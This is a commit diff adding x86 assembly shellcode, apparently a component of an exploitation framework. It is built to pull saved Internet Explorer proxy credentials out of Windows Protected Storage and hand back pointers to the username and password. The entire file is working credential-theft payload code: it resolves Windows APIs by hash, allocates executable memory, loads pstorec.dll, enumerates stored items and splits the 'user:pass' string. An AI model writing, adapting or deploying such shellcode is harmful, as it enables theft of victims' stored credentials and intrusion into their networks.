|
| 1 | +;-----------------------------------------------------------------------------; |
| 2 | +; Author: Unknown |
| 3 | +; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6 |
| 4 | +; Version: 1.0 |
| 5 | +;-----------------------------------------------------------------------------; |
| 6 | +[BITS 32] |
| 7 | + |
| 8 | +; Input: EBP must be the address of 'api_call' |
| 9 | +; Output: top element of stack will be pointer to null-terminated password and |
| 10 | +; second will be pointer to null-terminated username of the Proxy saved in IE |
| 11 | + |
| 12 | +pushad |
| 13 | +jmp after_functions |
| 14 | + |
| 15 | +alloc_memory: ; returns address to allocation in eax |
| 16 | + push byte 0x40 ; PAGE_EXECUTE_READWRITE |
| 17 | + push 0x1000 ; MEM_COMMIT |
| 18 | + push 0x1000 ; allocate 1000 byte for each variable (could be less) |
| 19 | + push 0 ; NULL as we dont care where the allocation is |
| 20 | + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 21 | + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$ |
| 22 | + ret ; |
| 23 | + ; |
| 24 | +after_functions: ; |
| 25 | + ; |
| 26 | + ; allocate memory for variables and save pointers on stack |
| 27 | + mov bl, 9 ; |
| 28 | + alloc_loop: ; |
| 29 | + call alloc_memory ; |
| 30 | + push eax ; save allocation address on stack |
| 31 | + dec bl ; |
| 32 | + jnz alloc_loop ; |
| 33 | + ; |
| 34 | +load_pstorec: ; loads the pstorec.dll |
| 35 | + push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack. |
| 36 | + push 0x6f747370 ; ... |
| 37 | + push esp ; Push a pointer to the 'pstorec',0 string on the stack. |
| 38 | + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) |
| 39 | + call ebp ; LoadLibraryA( "pstorec" ) |
| 40 | + ; this should leave a handle to the pstorec |
| 41 | + ; DLL-Module in eax |
| 42 | + |
| 43 | + pop edx ; remove 'pstorec' string from stack |
| 44 | + pop edx |
| 45 | + |
| 46 | +PStoreCreateInstance_PStore: |
| 47 | + ; returns address to PStore in pPStore |
| 48 | + pop edi ; pop pPstore |
| 49 | + push edi ; restore stack |
| 50 | + ; |
| 51 | + push 0 ; |
| 52 | + push 0 ; |
| 53 | + push 0 ; |
| 54 | + push edi ; arg4: pPstore |
| 55 | + push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" ) |
| 56 | + call ebp ; PstoreCreateInstance(address, 0, 0, 0) |
| 57 | + ; |
| 58 | +PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes |
| 59 | + pop eax ; pop pPstore |
| 60 | + pop edx ; pop pEnumPstoreTypes |
| 61 | + push edx ; restore stack |
| 62 | + push eax ; |
| 63 | + ; |
| 64 | + push edx ; arg1: pEnumPstoreTypes |
| 65 | + push 0 ; arg2: NULL |
| 66 | + push 0 ; arg3: NULL |
| 67 | + mov eax, [eax] ; load base address of PStore in eax |
| 68 | + push eax ; push base address of PStore (this) |
| 69 | + mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll |
| 70 | + mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38) |
| 71 | + call edx ; call IPStore::EnumTypes |
| 72 | + mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected |
| 73 | + ; |
| 74 | +EnumPStoreTypes.raw_Next: |
| 75 | + pop eax ; pop pPStore |
| 76 | + pop edx ; pop pEnumPStoreTypes |
| 77 | + pop ecx ; pop pTypeGUID |
| 78 | + push ecx ; restore stack |
| 79 | + push edx ; |
| 80 | + push eax ; |
| 81 | + ; |
| 82 | + push 0 ; arg1: NULL |
| 83 | + push ecx ; arg2: pTypeGUID |
| 84 | + push 1 ; arg3: 1 |
| 85 | + mov edx, [edx] ; load base address of EnumPStoreTypes |
| 86 | + push edx ; push base address of EnumPStoreTypes (this) |
| 87 | + mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll |
| 88 | + mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C) |
| 89 | + call edx ; call EnumPStoreTypes::raw_Next |
| 90 | + ; |
| 91 | + mov eax, [esp+8] ; |
| 92 | + mov eax, [eax] ; |
| 93 | + ; |
| 94 | + test eax, eax ; |
| 95 | + jz no_auth ; no Password found |
| 96 | + cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites" |
| 97 | + jne EnumPStoreTypes.raw_Next |
| 98 | + ; |
| 99 | +PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes () |
| 100 | + pop eax ; pop pPstore |
| 101 | + pop edx ; pop pEnumPstoreTypes |
| 102 | + pop ecx ; pop pTypeGUID |
| 103 | + pop edi ; pop pEnumSubtypes |
| 104 | + push edi ; restore stack |
| 105 | + push ecx ; |
| 106 | + push edx ; |
| 107 | + push eax ; |
| 108 | + ; |
| 109 | + push edi ; arg1: pEnumSubtypes |
| 110 | + push 0 ; arg2: NULL |
| 111 | + push ecx ; arg3: pTypeGUID |
| 112 | + push 0 ; arg4: NULL |
| 113 | + mov eax, [eax] ; load base address of PStore in eax |
| 114 | + push eax ; push base address of PStore (this) |
| 115 | + mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll |
| 116 | + mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C) |
| 117 | + call edx ; call IPStore::EnumSubtypes |
| 118 | + ; |
| 119 | +EnumSubtypes.raw_Next: |
| 120 | + mov eax, [esp+0x0C] ; pop pEnumSubtypes |
| 121 | + mov edx, [esp+0x10] ; pop psubTypeGUID |
| 122 | + ; |
| 123 | + push 0 ; arg1: NULL |
| 124 | + push edx ; arg2: psubTypeGUID |
| 125 | + push 1 ; arg3: 1 |
| 126 | + mov eax, [eax] ; load base address of EnumSubtypes in eax |
| 127 | + push eax ; push base address of EnumSubtypes (this) |
| 128 | + mov edx, [eax] ; get function address of raw_Next in pstorec.dll |
| 129 | + mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C) |
| 130 | + call edx ; call EnumSubtypes.raw_Next |
| 131 | + ; |
| 132 | +PStore.EnumItems: |
| 133 | + pop eax ; pop pPstore |
| 134 | + pop ecx ; |
| 135 | + pop edx ; pop pTypeGUID |
| 136 | + push edx ; restore stack |
| 137 | + push ecx ; |
| 138 | + push eax ; |
| 139 | + mov ecx, [esp+0x10] ; pop psubTypeGUID |
| 140 | + mov edi, [esp+0x14] ; pop pspEnumItems |
| 141 | + ; |
| 142 | + push edi ; arg1: pspEnumItems |
| 143 | + push 0 ; arg2: NULL |
| 144 | + push ecx ; arg3: psubTypeGUID |
| 145 | + push edx ; arg4: pTyoeGUID |
| 146 | + push 0 ; arg5: NULL |
| 147 | + mov eax, [eax] ; load base address of PStore in eax |
| 148 | + push eax ; push base address of PStore (this) |
| 149 | + mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll |
| 150 | + mov edx, [edx+0x54] ; |
| 151 | + call edx ; call IPStore::Enumitems |
| 152 | + ; |
| 153 | +spEnumItems.raw_Next: |
| 154 | + mov eax, [esp+0x14] ; pop pspEnumItems |
| 155 | + mov ecx, [esp+0x18] ; pop pitemName |
| 156 | + ; |
| 157 | + push 0 ; arg1: NULL |
| 158 | + push ecx ; arg2: pitemName |
| 159 | + push 1 ; arg3: 1 |
| 160 | + mov eax, [eax] ; load base address of spEnumItems in eax |
| 161 | + push eax ; push base addres of spEnumItems (this) |
| 162 | + mov edx, [eax] ; get function address of raw_Next in pstorec.dll |
| 163 | + mov edx, [edx+0x0C] ; |
| 164 | + call edx ; |
| 165 | + ; |
| 166 | +PStore.ReadItem: |
| 167 | + pop eax ; pop pPStore |
| 168 | + push eax ; |
| 169 | + ; |
| 170 | + push 0 ; arg1: NULL |
| 171 | + push 0 ; arg2: NULL (stiinfo not needed) |
| 172 | + mov ecx, [esp+0x24] ; pop ppsData (8. Element) |
| 173 | + push ecx ; arg3: ppsData |
| 174 | + mov ecx, [esp+0x2C] ; pop ppsDataLen |
| 175 | + push ecx ; arg4: ppsDataLen (not needed?) |
| 176 | + mov ecx, [esp+0x28] ; pop pitemName (7. Element) |
| 177 | + mov ecx, [ecx] ; |
| 178 | + push ecx ; arg5: pitemName |
| 179 | + mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element) |
| 180 | + push ecx ; arg6: psubTypeGUID |
| 181 | + mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element) |
| 182 | + push ecx ; arg7: pTypeGUID |
| 183 | + push 0 ; arg8: NULL |
| 184 | + mov eax, [eax] ; load base address of PStore in eax |
| 185 | + push eax ; push base addres of PStore (this) |
| 186 | + mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll |
| 187 | + mov edx, [edx+0x44] ; |
| 188 | + call edx ; |
| 189 | + ; |
| 190 | +split_user_pass: |
| 191 | + mov eax, [esp+0x1C] ; eax = ppsData |
| 192 | + mov eax, [eax] ; now eax contains pointer to "user:pass" |
| 193 | + push eax ; push pointer to user |
| 194 | + mov cl, byte 0x3a ; load ":" in ecx |
| 195 | + mov dl, byte [eax] ; load first byte of ppsData in edx |
| 196 | + cmp cl, dl ; |
| 197 | + jz no_auth ; |
| 198 | + loop_split: ; |
| 199 | + inc eax ; |
| 200 | + mov dl, byte [eax] ; |
| 201 | + cmp cl, dl ; |
| 202 | + jnz loop_split ; increase eax until it points to ":" |
| 203 | + ; |
| 204 | + mov [eax], byte 0x00 ; replace ":" with 00 |
| 205 | + inc eax ; |
| 206 | + push eax ; push pointer to pass |
| 207 | + ; |
| 208 | +no_auth: |
| 209 | + |
0 commit comments